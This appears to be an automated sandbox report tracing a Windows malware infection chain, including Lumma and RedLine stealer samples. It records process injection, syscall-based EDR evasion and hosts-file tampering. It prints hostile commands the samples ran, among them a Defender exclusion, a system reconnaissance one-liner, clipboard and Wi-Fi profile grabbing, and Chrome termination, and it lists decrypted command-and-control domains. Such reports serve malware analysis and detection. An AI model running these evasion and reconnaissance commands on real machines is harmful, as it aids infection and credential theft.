Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Code function: 12_2_000001DD940C7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_000001DD940C7D90

Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000008001\upd.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe

Code function: 7_2_013D018D CreateProcessA,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,VirtualAllocEx,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,

7_2_013D018D

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	NtQuerySystemInformation: Indirect: 0x1DD940C205D	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	NtQueryInformationProcess: Direct from: 0x7FF754D9114C
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	NtSetInformationThread: Direct from: 0x7FF754D54586
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	NtProtectVirtualMemory: Direct from: 0x7FF754DCDA24
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	NtEnumerateValueKey: Indirect: 0x194D1C3290E
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	NtProtectVirtualMemory: Direct from: 0x7FF7545EB12F
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	NtQueryDirectoryFile: Indirect: 0x1DD940C23AE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	NtProtectVirtualMemory: Direct from: 0x7FF754109B7B
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	NtEnumerateKey: Indirect: 0x1DD940C2875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	NtQueryInformationProcess: Direct from: 0x7FF75455BAF3
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	NtClose: Direct from: 0x7FF75475C816
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	NtProtectVirtualMemory: Direct from: 0x7FF7545DFBA1
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	NtQuerySystemInformation: Indirect: 0x194D1C3205D
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	NtDeviceIoControlFile: Indirect: 0x1DD940C2B9D	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	NtResumeThread: Indirect: 0x1DD940C231E	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	NtEnumerateValueKey: Indirect: 0x1DD940C293D	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	NtProtectVirtualMemory: Direct from: 0x7FF75476BB5B
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	NtProtectVirtualMemory: Direct from: 0x7FF7540CE27C
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	NtProtectVirtualMemory: Direct from: 0x7FF75453CD36
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	NtResumeThread: Indirect: 0x194D1C3231E
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	NtEnumerateValueKey: Indirect: 0x194D1C3293D
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	NtQuerySystemInformation: Direct from: 0x7FF754539677
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	NtQueryInformationProcess: Direct from: 0x7FF754DA09F2
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	NtDeviceIoControlFile: Indirect: 0x194D1C32B9D
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	NtProtectVirtualMemory: Direct from: 0x7FF75411FE28
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	NtSetInformationThread: Direct from: 0x7FF7545E10E5
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	NtProtectVirtualMemory: Direct from: 0x7FF754DAE779
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	NtEnumerateKey: Indirect: 0x1DD940C2842	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	NtQuerySystemInformation: Direct from: 0x7FF754DD357D
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	NtProtectVirtualMemory: Direct from: 0x7FF754D3F28C
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	NtProtectVirtualMemory: Direct from: 0x7FF754D665ED
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	NtEnumerateValueKey: Indirect: 0x1DD940C290E	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	NtOpenFile: Direct from: 0x7FF7540DDD44
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	NtQueryInformationProcess: Direct from: 0x7FF75459CC13
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	NtProtectVirtualMemory: Direct from: 0x7FF754750FE3
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	NtProtectVirtualMemory: Indirect: 0x7FF7540B6ECA
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	NtQuerySystemInformation: Direct from: 0x7FF7545CFBF9
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	NtMapViewOfSection: Direct from: 0x7FF754DD2885
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	NtQueryInformationProcess: Direct from: 0x7FF754DD6304

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000008001\upd.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: gold.exe, 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmp	String found in binary or memory: relaxtionflouwerwi.shop
Source: gold.exe, 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmp	String found in binary or memory: deprivedrinkyfaiir.shop
Source: gold.exe, 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmp	String found in binary or memory: detailbaconroollyws.shop
Source: gold.exe, 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmp	String found in binary or memory: messtimetabledkolvk.shop
Source: gold.exe, 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmp	String found in binary or memory: considerrycurrentyws.shop
Source: gold.exe, 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmp	String found in binary or memory: understanndtytonyguw.shop
Source: gold.exe, 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmp	String found in binary or memory: patternapplauderw.shop
Source: gold.exe, 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmp	String found in binary or memory: horsedwollfedrwos.shop

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe

Thread register set: target process: 3796

Modifies the hosts file

Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe

File written: C:\Windows\System32\drivers\etc\hosts

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43C000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 440000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 453000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: A30008	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000008001\upd.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\1000008001\upd.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000
Source: C:\Users\user\AppData\Local\Temp\1000008001\upd.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 58E000
Source: C:\Users\user\AppData\Local\Temp\1000008001\upd.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 590000
Source: C:\Users\user\AppData\Local\Temp\1000008001\upd.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 115C008
Source: C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43B000
Source: C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43F000
Source: C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 452000
Source: C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: E4F008

Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Process created: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe "C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe "C:\Users\user\AppData\Local\Temp\1000004001\gold.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe "C:\Users\user\AppData\Local\Temp\1000005001\judit.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe "C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000008001\upd.exe "C:\Users\user\AppData\Local\Temp\1000008001\upd.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe "C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe "C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe "C:\Users\user\AppData\Local\Temp\1000014001\services64.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe""
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "taskkill /F /IM chrome.exe"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "chcp"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "chcp"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Users\user\AppData\Local\Temp\1000008001\upd.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000008001\upd.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 392 -p 7796 -ip 7796
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7796 -s 284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe "C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\configurationValue\One.exe "C:\Users\user\AppData\Roaming\configurationValue\One.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe work.exe -priverdD
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe "C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe

Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "echo ####system info#### & systeminfo & echo ####system version#### & ver & echo ####host name#### & hostname & echo ####environment variable#### & set & echo ####logical disk#### & wmic logicaldisk get caption,description,providername & echo ####user info#### & net user & echo ####online user#### & query user & echo ####local group#### & net localgroup & echo ####administrators info#### & net localgroup administrators & echo ####guest user info#### & net user guest & echo ####administrator user info#### & net user administrator & echo ####startup info#### & wmic startup get caption,command & echo ####tasklist#### & tasklist /svc & echo ####ipconfig#### & ipconfig/all & echo ####hosts#### & type c:\windows\system32\drivers\etc\hosts & echo ####route table#### & route print & echo ####arp info#### & arp -a & echo ####netstat#### & netstat -ano & echo ####service info#### & sc query type= service state= all & echo ####firewallinfo#### & netsh firewall show state & netsh firewall show config"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "echo ####system info#### & systeminfo & echo ####system version#### & ver & echo ####host name#### & hostname & echo ####environment variable#### & set & echo ####logical disk#### & wmic logicaldisk get caption,description,providername & echo ####user info#### & net user & echo ####online user#### & query user & echo ####local group#### & net localgroup & echo ####administrators info#### & net localgroup administrators & echo ####guest user info#### & net user guest & echo ####administrator user info#### & net user administrator & echo ####startup info#### & wmic startup get caption,command & echo ####tasklist#### & tasklist /svc & echo ####ipconfig#### & ipconfig/all & echo ####hosts#### & type c:\windows\system32\drivers\etc\hosts & echo ####route table#### & route print & echo ####arp info#### & arp -a & echo ####netstat#### & netstat -ano & echo ####service info#### & sc query type= service state= all & echo ####firewallinfo#### & netsh firewall show state & netsh firewall show config"

Source: axplong.exe, axplong.exe, 00000006.00000002.1798628728.0000000000A84000.00000040.00000001.01000000.00000007.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Code function: 2_2_008AD2E8 cpuid

2_2_008AD2E8

Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: GetLocaleInfoW,	7_2_008E40AA
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	7_2_008E421D
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: GetLocaleInfoW,	7_2_008E4364
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: GetLocaleInfoW,	7_2_008D4450
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	7_2_008E4466
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: GetLocaleInfoEx,	7_2_0088459C
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: GetLocaleInfoEx,FormatMessageA,	7_2_0085DE1A
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: EnumSystemLocalesW,	7_2_008D3706
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	7_2_008E388A
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: EnumSystemLocalesW,	7_2_008D38F5
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: EnumSystemLocalesW,	7_2_008E3BD3
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: EnumSystemLocalesW,	7_2_008E3C55
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	7_2_008E3DC3
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: EnumSystemLocalesW,	7_2_008E3D16

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000002001\file300un.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000008001\upd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000008001\upd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
